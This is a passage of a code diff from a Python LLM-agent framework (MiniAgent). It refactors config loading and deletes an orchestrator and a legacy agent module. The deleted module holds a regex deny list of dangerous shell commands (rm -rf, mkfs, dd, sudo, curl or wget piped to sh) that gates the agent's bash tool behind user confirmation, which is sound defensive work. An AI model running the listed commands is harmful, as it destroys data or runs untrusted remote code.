Optional[str] = None - organization: Optional[str] = None - timeout: Optional[int] = 60 temperature: float = 0.7 - max_tokens: Optional[int] = None - top_p: Optional[float] = None - frequency_penalty: Optional[float] = None - presence_penalty: Optional[float] = None @dataclass class AgentConfig: @@ -40,20 +34,9 @@ class AgentConfig: llm: LLMConfig = field(default_factory=LLMConfig) system_prompt: str = "You are a helpful AI assistant." - default_tools: List[str] = field(default_factory=list) providers: Dict[str, Any] = field(default_factory=dict) mcp_servers: Dict[str, Any] = field(default_factory=dict) - enable_reflection: bool = False - reflection_system_prompt: Optional[str] = None - reflection_max_iterations: int = 3 - - # Tool execution limits (configurable via env vars) - bash_timeout: int = 120 # BASH_TIMEOUT: bash default timeout in seconds - bash_max_output: int = 50000 # BASH_MAX_OUTPUT: bash output truncation limit - tool_result_limit: int = 16000 # TOOL_RESULT_LIMIT: tool result truncation limit - max_context_messages: int = 20 # MAX_CONTEXT_MESSAGES: auto-compress conversation after N messages context_budget: int = 32768 # MINIAGENT_CONTEXT_BUDGET: conservative token budget - confirm_dangerous: bool = True # CONFIRM_DANGEROUS: require confirmation for dangerous commands def load_config(config_path: Optional[str] = None, *, model_override=None, base_override=None) -> AgentConfig: """ @@ -82,10 +65,10 @@ def load_config(config_path: Optional[str] = None, *, model_override=None, base_ "azure": ("AZURE_OPENAI_API_KEY", "AZURE_OPENAI_ENDPOINT"), } - # Try to get organization from environment variables - env_organization = os.environ.get("LLM_ORGANIZATION") or os.environ.get("OPENAI_ORGANIZATION") - if env_organization: - config.llm.organization = env_organization + try: + config.llm.temperature = float(os.environ.get("LLM_TEMPERATURE", "0.7")) + except ValueError: + raise ValueError("LLM_TEMPERATURE must be a number") from None # Load tool execution limits from environment def _safe_int(key: str, default: int) -> int: @@ -98,20 +81,12 @@ def _safe_int(key: str, default: int) -> int: logger.warning(f"Invalid integer for {key}={val!r}, using default {default}") return default - config.bash_timeout = _safe_int("BASH_TIMEOUT", config.bash_timeout) - config.bash_max_output = _safe_int("BASH_MAX_OUTPUT", config.bash_max_output) - config.tool_result_limit = _safe_int("TOOL_RESULT_LIMIT", config.tool_result_limit) - config.max_context_messages = _safe_int("MAX_CONTEXT_MESSAGES", config.max_context_messages) config.context_budget = _safe_int("MINIAGENT_CONTEXT_BUDGET", config.context_budget) - if os.environ.get("CONFIRM_DANGEROUS") is not None: - config.confirm_dangerous = os.environ["CONFIRM_DANGEROUS"].lower() not in ("0", "false", "no") - if os.environ.get("ENABLE_REFLECTION") is not None: - config.enable_reflection = os.environ["ENABLE_REFLECTION"].lower() not in ("0", "false", "no") - if os.environ.get("REFLECTION_MAX_ITERATIONS"): - config.reflection_max_iterations = _safe_int("REFLECTION_MAX_ITERATIONS", config.reflection_max_iterations) if config_path: _load_file(config, config_path) + if not isinstance(config.providers, dict) or not isinstance(config.mcp_servers, dict): + raise ValueError("providers and mcp_servers must be JSON objects") config.providers = {**profile["providers"], **config.providers} if model_override is not None: config.llm.model = model_override @@ -125,12 +100,6 @@ def _safe_int(key: str, default: int) -> int: config.llm.api_key = None return config provider = config.llm.model.partition(":")[0] if ":" in config.llm.model else "openai" - if ":" not in config.llm.model and config.llm.api_base: - # Compatibility for explicitly configured legacy endpoints, never key-only inference. - base = config.llm.api_base.lower() - provider = next((p for p in aliases if p in base), "openai") - if "generativelanguage.googleapis.com" in base: - provider = "gemini" persisted = provider in profile["models"] if provider in config.providers: env = config.providers[provider].get("api_key_env") @@ -149,17 +118,19 @@ def _load_file(config, config_path): with open(config_path, "r", encoding="utf-8") as f: config_data = json.load(f) - # Load LLM configuration - if "llm" in config_data: - for key, value in config_data["llm"].items(): - if hasattr(config.llm, key): - setattr(config.llm, key, value) - - # Load agent configuration - for key, value in config_data.items(): - if key != "llm" and hasattr(config, key): - setattr(config, key, value) - - logger.info(f"Configuration loaded from {config_path}") - except Exception as e: + except (OSError, ValueError) as e: raise ValueError(f"Failed to load configuration from {config_path}") from e + def apply(target, data): + if not isinstance(data, dict): + raise ValueError("Configuration sections must be JSON objects") + allowed = {entry.name for entry in fields(target)} + unknown = set(data) - allowed + if unknown: + raise ValueError(f"Unsupported settings: {', '.join(sorted(unknown))}; see docs/legacy-migration.md") + for key, value in data.items(): + setattr(target, key, value) + if not isinstance(config_data, dict): + raise ValueError("Configuration must be a JSON object") + apply(config.llm, config_data.pop("llm", {})) + apply(config, config_data) + logger.info("Configuration loaded from %s", config_path) diff --git a/miniagent/extensions/__init__.py b/miniagent/extensions/__init__.py index 5e0f2e6..61c2ef9 100644 --- a/miniagent/extensions/__init__.py +++ b/miniagent/extensions/__init__.py @@ -1,7 +1 @@ -"""Optional extensions for MiniAgent. - -These modules are not imported by default — import them explicitly: - - from miniagent.extensions.mcp_client import MCPClient, load_mcp_tools - from miniagent.extensions.orchestrator import Orchestrator -""" +"""Optional integrations. Import mcp_plugin explicitly after installing miniagent[mcp].""" diff --git a/miniagent/extensions/mcp_client.py b/miniagent/extensions/mcp_client.py deleted file mode 100644 index ce1728c..0000000 --- a/miniagent/extensions/mcp_client.py +++ /dev/null @@ -1,12 +0,0 @@ -"""Migration guard for the former handwritten MCP transport.""" -from .mcp_plugin import mcp_plugin - - -def load_mcp_tools(command, env=None): - """Old implicit process ownership cannot be safely retained.""" - raise RuntimeError("MCP API migrated: use app.use(mcp_plugin(name, command, args, env=env)); see docs/lean-harness.md") - - -class MCPClient: - def __init__(self, *args, **kwargs): - raise RuntimeError("Use the official SDK through mcp_plugin; see docs/lean-harness.md") diff --git a/miniagent/extensions/orchestrator.py b/miniagent/extensions/orchestrator.py deleted file mode 100644 index 87b4359..0000000 --- a/miniagent/extensions/orchestrator.py +++ /dev/null @@ -1,194 +0,0 @@ -"""Agent orchestrator for MiniAgent. - -Provides a simple orchestrator that decomposes complex tasks into sub-tasks -and delegates them to specialized worker agents using the Skill system. - -Usage: - from miniagent.orchestrator import Orchestrator - - orch = Orchestrator( - model="deepseek-chat", - api_key="...", - base_url="https://api.deepseek.com/v1", - ) - result = orch.run("Research Python async patterns, then write a demo script and test it") -""" - -from __future__ import annotations - -import json -from typing import Any, Callable, Dict, List, Optional - -from ..agent import MiniAgent -from ..skills import get_skill, list_skills, Skill -from ..logger import get_logger - -logger = get_logger(__name__) - - -class Orchestrator: - """ - Agent orchestrator that decomposes complex tasks into sub-tasks. - - Uses a planner agent to break down the task, then spawns worker agents - for each sub-task. Workers are configured via the Skill system — each - worker loads a skill that defines its prompt, tool whitelist, and params. - """ - - # Fallback prompts for roles without a registered skill - _FALLBACK_PROMPTS = { - "researcher": "You are a research assistant. Summarize findings clearly.", - "coder": "You are a coding assistant. Write clean, well-tested code.", - "tester": "You are a QA engineer. Write and run tests using bash.", - "reviewer": "You are a code reviewer. Provide constructive feedback.", - } - - def __init__( - self, - model: str, - api_key: str, - base_url: Optional[str] = None, - temperature: float = 0.7, - worker_roles: Optional[Dict[str, str]] = None, - **kwargs, - ): - """ - Args: - model: LLM model name - api_key: API key - base_url: API base URL - temperature: Model temperature - worker_roles: Optional custom role->prompt mapping. Merged with defaults. - """ - self.model = model - self.api_key = api_key - self.base_url = base_url - self.temperature = temperature - self.kwargs = kwargs - - # Build role map: prefer registered skills, fall back to defaults - self.roles = {**self._FALLBACK_PROMPTS} - if worker_roles: - self.roles.update(worker_roles) - - def _create_worker(self, role: str, system_prompt: Optional[str] = None) -> MiniAgent: - """Create a worker agent for a specific role. - - If a Skill is registered for the role, loads it (prompt + tool filter). - Otherwise falls back to the role prompt string. - """ - prompt = system_prompt or self.roles.get(role, self.roles["coder"]) - agent = MiniAgent( - model=self.model, - api_key=self.api_key, - base_url=self.base_url, - temperature=self.temperature, - system_prompt=prompt, - **self.kwargs, - ) - # Load all available tools - for tool_name in agent.get_available_tools(): - agent.load_builtin_tool(tool_name) - - # Apply skill if one is registered for this role (overrides prompt & filters tools) - if not system_prompt and get_skill(role): - agent.load_skill(role) - - return agent - - def plan(self, task: str) -> List[Dict[str, str]]: - """ - Use the planner agent to decompose a task into ordered sub-tasks. - - Returns: - List of {"role": "coder", "task": "implement X"} dicts - """ - planner = MiniAgent( - model=self.model, - api_key=self.api_key, - base_url=self.base_url, - temperature=0.3, # lower temp for planning - system_prompt=f"""You are a task planner. Break down the user's complex task into 2-5 sequential sub-tasks. - -Available worker roles: {', '.join(self.roles.keys())} - -Respond ONLY with a JSON array. Each element must have "role" and "task" keys. -Example: [{{"role": "researcher", "task": "Find best practices for X"}}, {{"role": "coder", "task": "Implement X based on research"}}] - -Keep it simple. Don't over-decompose.""", - ) - - try: - response = planner._call_llm([ - {"role": "system", "content": planner.system_prompt}, - {"role": "user", "content": task}, - ]) - except Exception as e: - logger.error(f"LLM call for planning failed: {e}") - return [{"role": list(self.roles.keys())[0] if self.roles else "coder", "task": task}] - - # Parse the plan from response - try: - # Try to extract JSON array from response - start = response.find("[") - end = response.rfind("]") + 1 - if start >= 0 and end > start: - plan = json.loads(response[start:end]) - if isinstance(plan, list) and all("role" in s and "task" in s for s in plan): - logger.info(f"Plan created with {len(plan)} sub-tasks") - return plan - except json.JSONDecodeError: - pass - - # Fallback: single coder task - logger.warning("Could not parse plan, falling back to single task") - return [{"role": "coder", "task": task}] - - def run( - self, - task: str, - max_iterations: int = 10, - callback: Optional[Callable[[str, str, str], None]] = None, - ) -> str: - """ - Run multi-agent workflow. - - Args: - task: The complex task description - max_iterations: Max iterations per worker - callback: Optional callback(role, task, result) called after each sub-task - - Returns: - Combined results from all workers - """ - plan = self.plan(task) - results = [] - context = "" # Accumulated context passed to subsequent workers - - for i, step in enumerate(plan): - role = step["role"] - sub_task = step["task"] - logger.info(f"Step {i+1}/{len(plan)}: [{role}] {sub_task}") - - worker = self._create_worker(role) - - # Include context from previous steps - full_query = sub_task - if context: - full_query = f"Previous steps context:\n{context}\n\nYour task: {sub_task}" - - result = worker.run_with_tools(full_query, max_iterations=max_iterations) - results.append({"role": role, "task": sub_task, "result": result}) - - # Build context for next worker (truncated) - context += f"\n[{role}] {sub_task} → Result: {result[:500]}\n" - - if callback: - callback(role, sub_task, result) - - # Compile final summary - summary_parts = [] - for r in results: - summary_parts.append(f"**[{r['role']}]** {r['task']}\n{r['result']}") - - return "\n\n---\n\n".join(summary_parts) diff --git a/miniagent/legacy.py b/miniagent/legacy.py deleted file mode 100644 index 19b9c6f..0000000 --- a/miniagent/legacy.py +++ /dev/null @@ -1,798 +0,0 @@ -"""Main module of MiniAgent, providing core Agent functionality""" - -import os -import json -import re -from typing import Any, Callable, Dict, Generator, List, Optional -from tenacity import retry, stop_after_attempt, wait_random_exponential - -from .logger import get_logger -from .utils.json_utils import parse_json -from .utils.text_utils import smart_truncate -from .utils.reflector import Reflector -from .tools import get_registered_tools, get_tool, get_tool_description - -logger = get_logger(__name__) - - -# --------------------------------------------------------------------------- -# Dangerous command patterns for tool confirmation -# --------------------------------------------------------------------------- - -_DANGEROUS_PATTERNS = [ - r"\brm\s+(-[a-zA-Z]*f|-[a-zA-Z]*r|--force|--recursive)\b", # rm -rf - r"\brm\s+-[a-zA-Z]*\s+/", # rm anything under / - r"\bmkfs\b", # format filesystem - r"\bdd\s+", # disk dump - r":>\s*/", # truncate root files - r"\bchmod\s+-R\s+777\b", # open permissions recursively - r"\bchown\s+-R\b", # recursive ownership change - r">\s*/etc/", # overwrite system config - r"\bsudo\b", # sudo commands - r"\bshutdown\b|\breboot\b", # system control - r"\bkill\s+-9\b", # force kill - r"\bpkill\b|\bkillall\b", # mass kill - r"\bcurl\b.*\|\s*\bsh\b", # pipe curl to shell - r"\bwget\b.*\|\s*\bsh\b", # pipe wget to shell - r"[;&|]\s*\brm\s", # chained rm after other commands -] - -_DANGEROUS_RE = re.compile("|".join(_DANGEROUS_PATTERNS), re.IGNORECASE) - - -def _message_role(message: Any) -> str: - """Return the role of a message, supporting dicts and OpenAI message objects. - - In native Function Calling mode, ``run_with_native_tools`` appends - ``ChatCompletionMessage`` objects (not plain dicts) to the message history. - Helpers like context compression must read ``role``/``content`` from both. - """ - if isinstance(message, dict): - return message.get("role", "") - return getattr(message, "role", "") - - -def _message_content(message: Any) -> str: - """Return the content of a message, supporting dicts and OpenAI message objects.""" - if isinstance(message, dict): - return message.get("content", "") or "" - return getattr(message, "content", "") or "" - - -def _message_field(message: Any, key: str) -> Any: - """Read one field from a message, supporting dicts and OpenAI message objects.""" - if isinstance(message, dict): - return message.get(key) - return getattr(message, key, None) - - -def _message_tool_calls(message: Any) -> list: - """Return the tool_calls of a message, supporting dicts and OpenAI message objects. - - Returns an empty list when the message carries no tool calls, so callers can - treat "has tool calls" as a simple truthiness check. - """ - return _message_field(message, "tool_calls") or [] - - -class MiniAgent: - """ - Main MiniAgent class, providing core functionality for LLM interaction and tool calling - """ - - # Template for text-mode system prompt (tools list injected at runtime) - _TEXT_MODE_PROMPT = """\ -{base_prompt} - -You are a powerful AI assistant that can use various tools to complete tasks. \ -Carefully analyze the user's request to determine if you need to use tools to solve the problem. - -Available tools: -{tools_prompt} - -Important: When using tools, you must strictly follow this format: -TOOL: -ARGS: {{"parameter_name": "parameter_value"}} - -For example, when the user asks "Calculate 2 + 2", you should respond: -TOOL: calculator -ARGS: {{"expression": "2 + 2"}} - -For example, when the user asks "Create a file hello.py", you should respond: -TOOL: write -ARGS: {{"path": "hello.py", "content": "print('Hello World')"}} - -Note: -1. You must use strict JSON format -2. You must use double quotes for strings in JSON -3. If the parameter value is a number, quotes are not needed -4. After getting the tool execution result, explain the result in a concise and clear way -5. When creating files, ALWAYS use the 'write' tool with 'path' and 'content' parameters -6. For multi-line content, use \\n for newlines in JSON strings - -If you don't need to use tools, you can directly answer the user's question. \ -If the question is outside the scope of the available tools, use your knowledge to answer directly.""" - - def __init__( - self, - model: str, - api_key: str, - base_url: Optional[str] = None, - temperature: float = 0.7, - system_prompt: str = "You are a helpful assistant that can use tools to get information and perform tasks.", - use_reflector: bool = False, - confirm_dangerous: bool = False, - confirm_callback: Optional[Callable[[str], bool]] = None, - **kwargs - ): - """ - Initialize MiniAgent - - Args: - model: Model name, e.g. "gpt-3.5-turbo", "deepseek-chat" - api_key: API key for the model provider - base_url: Base URL for the model provider - temperature: Model temperature - system_prompt: System prompt to use for the agent - use_reflector: Whether to use the Reflector to improve reasoning - confirm_dangerous: If True, dangerous bash commands require confirmation - confirm_callback: Function(cmd) -> bool for confirmation. Defaults to stdin prompt. - **kwargs: Additional parameters for the OpenAI client - """ - self.model = model - self.api_key = api_key - self.base_url = base_url - self.temperature = temperature - self.system_prompt = system_prompt - self.tools = [] - self.client = None - self.use_reflector = use_reflector - self.confirm_dangerous = confirm_dangerous - self.confirm_callback = confirm_callback - - # Cache config limits (read env vars once, not per-request) - self._max_context_messages = int(os.environ.get("MAX_CONTEXT_MESSAGES", "20")) - self._tool_result_limit = int(os.environ.get("TOOL_RESULT_LIMIT", "16000")) - - # Initialize the LLM client - self._init_llm_client() - - # Initialize reflector if enabled - if use_reflector: - self.reflector = Reflector(self.client, self.model) - else: - self.reflector = None - - logger.info(f"MiniAgent initialized, model: {model}, base URL: {base_url or 'default'}, temperature: {temperature}, reflector: {use_reflector}") - - def _init_llm_client(self): - """Initialize the LLM client (OpenAI-compatible for all providers)""" - try: - import openai as _openai - self.client = _openai.OpenAI( - api_key=self.api_key, - base_url=self.base_url - ) - logger.info(f"LLM client initialized: model={self.model}, base_url={self.base_url or 'default'}") - except ImportError: - logger.error("OpenAI package not installed. Please run 'uv sync' or 'pip install -r requirements.txt'") - raise - except Exception as e: - logger.error(f"Failed to initialize LLM client: {e}") - raise - - def add_tool(self, tool: Dict[str, Any]) -> None: - """ - Add a tool to the agent - - Args: - tool: Tool definition, containing name, description, and executor - """ - if not isinstance(tool, dict): - raise TypeError("Tool must be a dictionary type") - - required_keys = ["name", "description", "executor"] - for key in required_keys: - if key not in tool: - raise ValueError(f"Tool is missing a required field: {key}") - - if hasattr(self, "_skill_catalog"): - self._skill_catalog.append(tool) - skill = getattr(self, "_active_skill", None) - if skill is None or skill.tools is None or tool["name"] in skill.tools: - self.tools.append(tool) - logger.debug(f"Added tool: {tool['name']}") - - def load_builtin_tool(self, tool_name: str) -> bool: - """ - Load a built-in tool - - Args: - tool_name: Tool name - - Returns: - Whether the load was successful - """ - tool_func = get_tool(tool_name) - if tool_func: - # Create tool definition - tool_desc = get_tool_description(tool_func) - tool = { - "name": tool_desc["name"], - "description": tool_desc["description"], - "parameters": tool_desc.get("parameters", {}), - "executor": tool_func - } - self.add_tool(tool) - logger.info(f"Loaded built-in tool: {tool_name}") - return True - else: - logger.warning(f"Built-in tool not found: {tool_name}") - return False - - def get_available_tools(self) -> List[str]: - """ - Get all available built-in tool names - - Returns: - List of tool names - """ - return list(get_registered_tools().keys()) - - def load_all_tools(self) -> None: - """Load all registered built-in tools into this agent.""" - for name in self.get_available_tools(): - self.load_builtin_tool(name) - - def load_skill(self, skill_name: str) -> bool: - """ - Apply a registered Skill to this agent. - - Updates system_prompt, temperature, and optionally filters tools - to only those specified in the skill. - - Args: - skill_name: Name of a registered skill - - Returns: - True if skill was loaded successfully - """ - from .skills import get_skill - - skill = get_skill(skill_name) - if not skill: - logger.warning(f"Skill not found: {skill_name}") - return False - - self.system_prompt = skill.prompt - self._active_skill = skill - if skill.temperature is not None: - self.temperature = skill.temperature - # Filter tools to skill whitelist - catalog = getattr(self, "_skill_catalog", self.tools) - self._skill_catalog = list(catalog) - self.tools = list(catalog) - if skill.tools is not None: - self.tools = [t for t in catalog if t["name"] in skill.tools] - logger.info(f"Skill '{skill_name}' filtered tools to: {[t['name'] for t in self.tools]}") - - logger.info(f"Loaded skill: {skill_name}") - return True - - def _build_tools_prompt(self) -> str: - """ - Build the tools description for the system prompt - - Returns: - Formatted tools description - """ - tools_desc = [] - for tool in self.tools: - params = tool.get("parameters", {}) - param_desc = [] - for name, schema in params.get("properties", {}).items(): - required = name in params.get("required", []) - param_desc.append(f" - {name}: {schema.get('description', '')} {'(required)' if required else ''}") - - params_text = "\n".join(param_desc) if param_desc else " (none)" - desc = ( - f"\n Tool: {tool['name']}\n" - f" Description: {tool['description']}\n" - f" Parameters:\n" - f" {params_text}\n" - f" " - ) - tools_desc.append(desc) - return "\n".join(tools_desc) - - def _parse_tool_call(self, content: str) -> Optional[Dict]: - """ - Parse tool call from LLM response. - - Supports two text patterns: - 1. TOOL: ARGS: {json} - 2. Tool/工具: Args/参数: {json} - - Args: - content: LLM response content - - Returns: - Tool call information or None - """ - logger.debug(f"Parsing tool call from content (length={len(content)})") - - # Two clean patterns: strict and relaxed - tool_name_patterns = [ - r"TOOL:\s*(\w+)\s*ARGS:\s*", - r"(?:Tool|工具|USE TOOL|使用工具|工具名称|TOL):\s*(\w+)\s*(?:ARGS|Args|参数|WITH ARGS|工具参数|Arguments):\s*", - ] - - for pattern in tool_name_patterns: - match = re.search(pattern, content, re.DOTALL) - if match: - name = match.group(1) - remaining = content[match.end():] - - # Extract balanced JSON using brace counting - args_str = self._extract_balanced_json(remaining) - if not args_str: - continue - - logger.debug(f"Matched tool '{name}', args length={len(args_str)}") - - # Try strict parse first, then loose - try: - return {"name": name, "arguments": json.loads(args_str)} - except json.JSONDecodeError: - args = parse_json(args_str) - if args: - logger.info(f"Parsed tool call: {name} with {len(args)} args") - return {"name": name, "arguments": args} - - logger.warning(f"Failed to parse tool arguments for {name}: {args_str[:100]}...") - - logger.debug("No tool call pattern matched") - return None - - def _extract_balanced_json(self, text: str) -> Optional[str]: - """ - Extract a balanced JSON object from text by counting braces. - - Args: - text: Text starting near a JSON object - - Returns: - Extracted JSON string or None - """ - # Find the first opening brace - start = text.find('{') - if start == -1: - return None - - brace_count = 0 - in_string = False - escape_next = False - - for i, char in enumerate(text[start:], start): - if escape_next: - escape_next = False - continue - - if char == '\\': - escape_next = True - continue - - if char == '"' and not escape_next: - in_string = not in_string - continue - - if in_string: - continue - - if char == '{': - brace_count += 1 - elif char == '}': - brace_count -= 1 - if brace_count == 0: - return text[start:i+1] - - logger.debug(f"Unbalanced braces (count={brace_count}), cannot extract JSON") - return None - - def _execute_tool( - self, - tool_call: Dict, - tool_callback: Optional[Callable[[str, str, Dict[str, Any]], None]] = None, - ) -> Any: - """ - Execute a tool call - - Args: - tool_call: Tool call information - - Returns: - Tool execution result - """ - tool = next((t for t in self.tools if t["name"] == tool_call["name"]), None) - if not tool: - return f"Error: Tool {tool_call['name']} not found" - try: - if tool_callback: - tool_callback("start", tool_call["name"], {"arguments": tool_call.get("arguments", {})}) - result = tool["executor"](**tool_call["arguments"]) - if tool_callback: - tool_callback("end", tool_call["name"], {"result": result}) - return result - except Exception as e: - logger.error(f"Error executing tool {tool_call['name']}: {e}") - if tool_callback: - tool_callback("end", tool_call["name"], {"error": str(e)}) - return f"Error executing tool: {str(e)}" - - def _maybe_reflect(self, messages: List[Dict[str, str]]) -> List[Dict[str, str]]: - """Apply reflection if enabled and conversation has history.""" - if self.use_reflector and len(messages) > 1 and self.reflector: - return self.reflector.apply_reflection(messages) - return messages - - @retry(stop=stop_after_attempt(3), wait=wait_random_exponential(min=1, max=60)) - def _call_llm(self, messages: List[Dict[str, str]]) -> str: - """ - Call LLM with messages - - Args: - messages: Conversation messages - - Returns: - LLM response content - """ - try: - if not self.api_key: - raise ValueError("API key is not set. Please check your environment variables.") - - logger.debug(f"Base URL: {self.base_url or 'default OpenAI'}") - logger.debug(f"Model: {self.model}") - - # Apply reflection if enabled - messages = self._maybe_reflect(messages) - - response = self.client.chat.completions.create( - model=self.model, - messages=messages, - temperature=self.temperature - ) - return response.choices[0].message.content - except Exception as e: - logger.error(f"Error calling LLM: {str(e)}") - raise - - def _call_llm_stream(self, messages: List[Dict[str, str]]) -> Generator[str, None, None]: - """ - Call LLM with streaming, yielding tokens as they arrive. - - Args: - messages: Conversation messages - - Yields: - Token strings as they stream in - """ - if not self.api_key: - raise ValueError("API key is not set.") - - messages = self._maybe_reflect(messages) - - response = self.client.chat.completions.create( - model=self.model, - messages=messages, - temperature=self.temperature, - stream=True, - ) - try: - for chunk in response: - delta = chunk.choices[0].delta if chunk.choices else None - if delta and delta.content: - yield delta.content - except Exception as e: - logger.error(f"Streaming error during iteration: {e}") - raise - - @staticmethod - def _find_group_safe_boundary(messages: List[Dict[str, str]], boundary: int, start: int) -> int: - """Move a truncation boundary backward so it never splits a tool-call group. - - In native Function Calling mode an ``assistant`` message carrying - ``tool_calls`` must stay paired with **every** following ``tool`` message - that answers those calls. When the assistant emits parallel tool calls, - a naive ``messages[-keep_last:]`` slice can land in the middle of that - group and leave orphaned ``tool`` messages whose - ``assistant(tool_calls)`` parent was dropped — the OpenAI API rejects - such a sequence. - - Args: - messages: Full message list - boundary: Proposed index of the first kept message - start: Lowest index that may be kept (0, or 1 when a system prompt leads) - - Returns: - An index <= boundary that starts on a complete group. - """ - # A boundary sitting on a tool response is inside a group: walk back to - # the assistant(tool_calls) message that owns it. - while boundary > start and _message_role(messages[boundary]) == "tool": - boundary -= 1 - return boundary - - @staticmethod - def _drop_orphan_tool_messages(messages: List[Dict[str, str]]) -> List[Dict[str, str]]: - """Drop ``tool`` messages that have no preceding ``assistant(tool_calls)``. - - Acts as a final safety net: if a group could not be preserved (for - example the group is longer than the whole keep window), the unpaired - ``tool`` messages are removed rather than sent to the API. - """ - cleaned: List[Dict[str, str]] = [] - open_ids: set = set() - for m in messages: - role = _message_role(m) - if role == "tool": - call_id = _message_field(m, "tool_call_id") - if call_id is not None and call_id not in open_ids: - continue # parent assistant(tool_calls) did not survive - elif role == "assistant": - open_ids = {_message_field(tc, "id") for tc in _message_tool_calls(m)} - else: - open_ids = set() - cleaned.append(m) - return cleaned - - @staticmethod - def _summarize_messages(messages: List[Dict[str, str]], keep_last: int = 6) -> List[Dict[str, str]]: - """ - Compress conversation history when it grows too long. - - Keeps the system prompt + a summary of old messages + the last N messages. - This prevents token overflow in long-running sessions. - - The recent-message boundary is expanded backward when needed so that an - ``assistant`` message with ``tool_calls`` is never separated from the - ``tool`` messages answering it (see ``_find_group_safe_boundary``). This - means slightly more than ``keep_last`` messages may be kept verbatim. - - Args: - messages: Full message list - keep_last: Minimum number of recent messages to keep verbatim - - Returns: - Compressed message list - """ - if len(messages) <= keep_last + 2: # system + enough messages - return messages - - system = messages[0] if _message_role(messages[0]) == "system" else None - start = 1 if system else 0 - - boundary = max(len(messages) - keep_last, start) - boundary = MiniAgent._find_group_safe_boundary(messages, boundary, start) - - old_messages = messages[start:boundary] - recent = messages[boundary:] - - # Everything was needed to keep tool-call groups intact — nothing to compress. - if not old_messages: - return messages - - # Build a compact summary of old conversation - summary_parts = [] - for m in old_messages: - role = _message_role(m) - content = _message_content(m)[:200] - if role == "user": - summary_parts.append(f"User asked: {content}") - elif role == "assistant": - summary_parts.append(f"Assistant: {content}") - elif role == "tool": - summary_parts.append(f"Tool result: {content}") - - summary = "\n".join(summary_parts[-10:]) # keep last 10 entries in summary - summary_msg = { - "role": "user", - "content": f"[Conversation summary - {len(old_messages)} earlier messages compressed]\n{summary}\n[End of summary. Continue from here.]" - } - - result = [] - if system: - result.append(system) - result.append(summary_msg) - result.extend(MiniAgent._drop_orphan_tool_messages(recent)) - return result - - def _check_dangerous(self, tool_call: Dict) -> bool: - """ - Check if a tool call is potentially dangerous and needs confirmation. - - Returns True if the call is safe to proceed, False if user rejected. - """ - if not self.confirm_dangerous: - return True - - if tool_call["name"] != "bash": - return True - - cmd = tool_call.get("arguments", {}).get("cmd", "") - if not _DANGEROUS_RE.search(cmd): - return True - - # Ask for confirmation - if self.confirm_callback: - return self.confirm_callback(cmd) - - # Default: stdin prompt - try: - answer = input(f"\n⚠️ Dangerous command detected: {cmd}\nAllow execution? [y/N]: ").strip().lower() - return answer in ("y", "yes") - except (EOFError, KeyboardInterrupt): - return False - - # ------------------------------------------------------------------ - # Shared helpers for both run modes - # ------------------------------------------------------------------ - - def _compress_if_needed(self, messages, max_context_messages): - """Compress conversation history when it exceeds the limit.""" - if len(messages) > max_context_messages: - messages = self._summarize_messages(messages) - logger.info(f"Compressed conversation to {len(messages)} messages") - return messages - - def _safe_execute_tool(self, tool_call, tool_callback, status_callback, limit): - """Execute a tool with safety check, status callbacks, and result truncation. - - Returns: - (result_str, rejected): result_str is None if rejected. - """ - if not self._check_dangerous(tool_call): - return None, True - - if status_callback: - status_callback(f"Executing tool: {tool_call['name']}...") - - logger.info(f"Executing tool: {tool_call['name']}") - result = self._execute_tool(tool_call, tool_callback=tool_callback) - return smart_truncate(str(result), limit), False - - def run_with_tools( - self, - query: str, - max_iterations: int = 10, - tool_callback: Optional[Callable[[str, str, Dict[str, Any]], None]] = None, - status_callback: Optional[Callable[[str], None]] = None, - stream_callback: Optional[Callable[[str], None]] = None, - ) -> str: - """ - Implement tool calling with formatted text - - This method uses specific text formats to represent tool calls, simulating native tools functionality. - Suitable for scenarios requiring explicit tool calls, and can be used with models that don't support native tools. - - Args: - query: User query text - max_iterations: Maximum number of tool execution iterations - tool_callback: Callback for tool execution events - status_callback: Callback for status updates (e.g. "Thinking...", "Executing tool...") - stream_callback: Callback for streaming tokens. If provided, LLM responses stream token-by-token. - - Returns: - Final response text - """ - logger.info(f"Starting query processing with tools: {query}") - - system_prompt = self._TEXT_MODE_PROMPT.format( - base_prompt=self.system_prompt, - tools_prompt=self._build_tools_prompt(), - ) - - messages = [ - {"role": "system", "content": system_prompt}, - {"role": "user", "content": query} - ] - - max_ctx, limit = self._max_context_messages, self._tool_result_limit - - iteration = 0 - while iteration < max_iterations: - logger.info(f"Iteration {iteration + 1}/{max_iterations}") - messages = self._compress_if_needed(messages, max_ctx) - - if status_callback: - status_callback(f"Thinking (Iteration {iteration + 1})...") - - # Get model response (streaming or blocking) - if stream_callback: - chunks = [] - for token in self._call_llm_stream(messages): - chunks.append(token) - stream_callback(token) - response = "".join(chunks) - else: - response = self._call_llm(messages) - messages.append({"role": "assistant", "content": response}) - - # Parse tool call - tool_call = self._parse_tool_call(response) - if not tool_call: - logger.info("No tool call in response, returning final answer") - return response - - # Execute tool (with safety + truncation) - result_str, rejected = self._safe_execute_tool(tool_call, tool_callback, status_callback, limit) - if rejected: - messages.append({ - "role": "user", - "content": f"Tool execution of '{tool_call['name']}' was rejected by user. Please suggest a safer alternative." - }) - else: - messages.append({ - "role": "user", - "content": f"Tool execution result: {tool_call['name']} returned: {result_str}\nContinue answering the user's question, or call another tool if needed." - }) - - iteration += 1 - - logger.warning(f"Reached maximum iterations ({max_iterations})") - return messages[-1]["content"] - - def run_with_native_tools(self, query, max_iterations=10, tool_callback=None, status_callback=None): - """Compatibility entry point using the same native loop as Harness.""" - import asyncio - from .harness import Harness - from .policy import Policy - from .tools.registry import Tool - - agent = self - class Backend: - async def complete(self, messages, tools, stream): - if status_callback: - status_callback("Thinking...") - response = await asyncio.to_thread( - agent.client.chat.completions.create, - model=agent.model, messages=messages, temperature=agent.temperature, - tools=tools or None, - ) - message = response.choices[0].message - if hasattr(message, "model_dump"): - return message.model_dump(exclude_none=True) - result = {"role": "assistant", "content": message.content} - if message.tool_calls: - result["tool_calls"] = [{"id": call.id, "type": "function", "function": { - "name": call.function.name, "arguments": call.function.arguments}} - for call in message.tool_calls] - return result - - app = Harness(Backend(), policy=Policy(mode="trusted"), system_prompt=self.system_prompt) - for tool in self.tools: - def execute(_name=tool["name"], **arguments): - result, rejected = agent._safe_execute_tool( - {"name": _name, "arguments": arguments}, tool_callback, status_callback, - agent._tool_result_limit, - ) - return "Execution rejected by user." if rejected else result - app.registry.add(Tool(tool["name"], tool["description"], - tool.get("parameters", {"type": "object"}), execute)) - return app.run(query, max_steps=max_iterations) - - def run(self, query: str, max_iterations: int = 10, mode: str = "text") -> str: - """ - Execute the Agent with specified tool calling mode. - - 